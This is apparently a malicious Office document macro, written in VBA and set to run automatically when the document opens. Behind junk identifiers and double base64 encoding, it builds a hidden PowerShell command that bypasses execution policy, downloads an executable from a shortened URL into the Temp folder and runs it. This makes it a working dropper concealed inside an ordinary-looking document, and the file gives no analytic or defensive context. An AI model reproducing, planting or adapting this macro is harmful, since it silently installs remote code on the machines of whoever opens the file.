Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

Public Sub Document_Open()
Dim asdas As String
asdas = sadsad("Y0FCdkFIY0FaUUJ5QUhNQWFBQmxBR3dBYkFBdUFHVUFlQUJsQUNBQUxRQmxBSGdBWlFCakFIVUFkQUJwQUc4QWJnQndBRzhBYkFCcEFHTUFlUUFnQUdJQWVRQndBR0VBY3dCekFDQUFMUUJYQUNBQVNBQnBBR1FBWkFCbEFHNEFJQUF0QUdNQWJ3QnRBRzBBWVFCdUFHUUFJQUFvQUc0QVpRQjNBQzBBYndCaUFHb0FaUUJqQUhRQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUU0QVpRQjBBQzRBVndCbEFHSUFRd0JzQUdrQVpRQnVBSFFBS1FBdUFFUUFid0IzQUc0QWJBQnZBR0VBWkFCR0FHa0FiQUJsQUNnQUp3Qm9BSFFBZEFCd0FEb0FMd0F2QUhRQWFRQnVBSGtBZFFCeUFHd0FMZ0JqQUc4QWJRQXZBSGtBWWdCNkFEUUFiZ0J1QUhrQVp3QW5BQ3dBSkFCbEFHNEFkZ0E2QUZRQVpRQnRBSEFBS3dBbkFGd0FSZ0JwQUd3QVpRQnVBR0VBYlFCbEFDNEFaUUI0QUdVQUp3QXBBRHNBS0FCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFMUUJqQUc4QWJRQWdBRk1BYUFCbEFHd0FiQUF1QUVFQWNBQndBR3dBYVFCakFHRUFkQUJwQUc4QWJnQXBBQzRBVXdCb0FHVUFiQUJzQUVVQWVBQmxBR01BZFFCMEFHVUFLQUFrQUdVQWJnQjJBRG9BVkFCbEFHMEFjQUFyQUNjQVhBQkdBR2tBYkFCbEFHNEFZUUJ0QUdVQUxnQmxBSGdBWlFBbkFDa0E=", False)
Shell (sadsad(asdas, True))
End Sub
Function sadsad(ByVal EMfCfHjFEdVKZbHwCdkKujtNMRIeNRfvRjBoqkcBLzauDpjjxdNbDkg, ByVal fIsUtf16LE)
    Dim sTextEncoding
    If fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = EMfCfHjFEdVKZbHwCdkKujtNMRIeNRfvRjBoqkcBLzauDpjjxdNbDkg
        sadsad = LTmzBaZIitCCIOnCYHKsHrsWlnkrCJTBZQVBHPNxBUZCGYGvWUrTfjz(.NodeTypedValue, sTextEncoding)
    End With
End Function
Function UoRqizFsnSuOLuobSAiyPJUfrhYBEEZsgCgAYOOXGHnwIbtJJBPaqHl(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
    With CreateObject("ADODB.Stream")
        .Type = 2
        .Charset = sTextEncoding
        .Open
        .WriteText sText
        .Position = 0
        .Type = 1
        .Position = iBomByteCount
        UoRqizFsnSuOLuobSAiyPJUfrhYBEEZsgCgAYOOXGHnwIbtJJBPaqHl = .Read
        .Close
    End With
End Function
Function LTmzBaZIitCCIOnCYHKsHrsWlnkrCJTBZQVBHPNxBUZCGYGvWUrTfjz(ByVal byteArray, ByVal sTextEncoding)
    If LCase(sTextEncoding) = "utf-16le" Then
        LTmzBaZIitCCIOnCYHKsHrsWlnkrCJTBZQVBHPNxBUZCGYGvWUrTfjz = CStr(byteArray)
    Else
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write byteArray
            .Position = 0
            .Type = 2
            .Charset = sTextEncoding
            LTmzBaZIitCCIOnCYHKsHrsWlnkrCJTBZQVBHPNxBUZCGYGvWUrTfjz = .ReadText
            .Close
        End With
    End If

End Function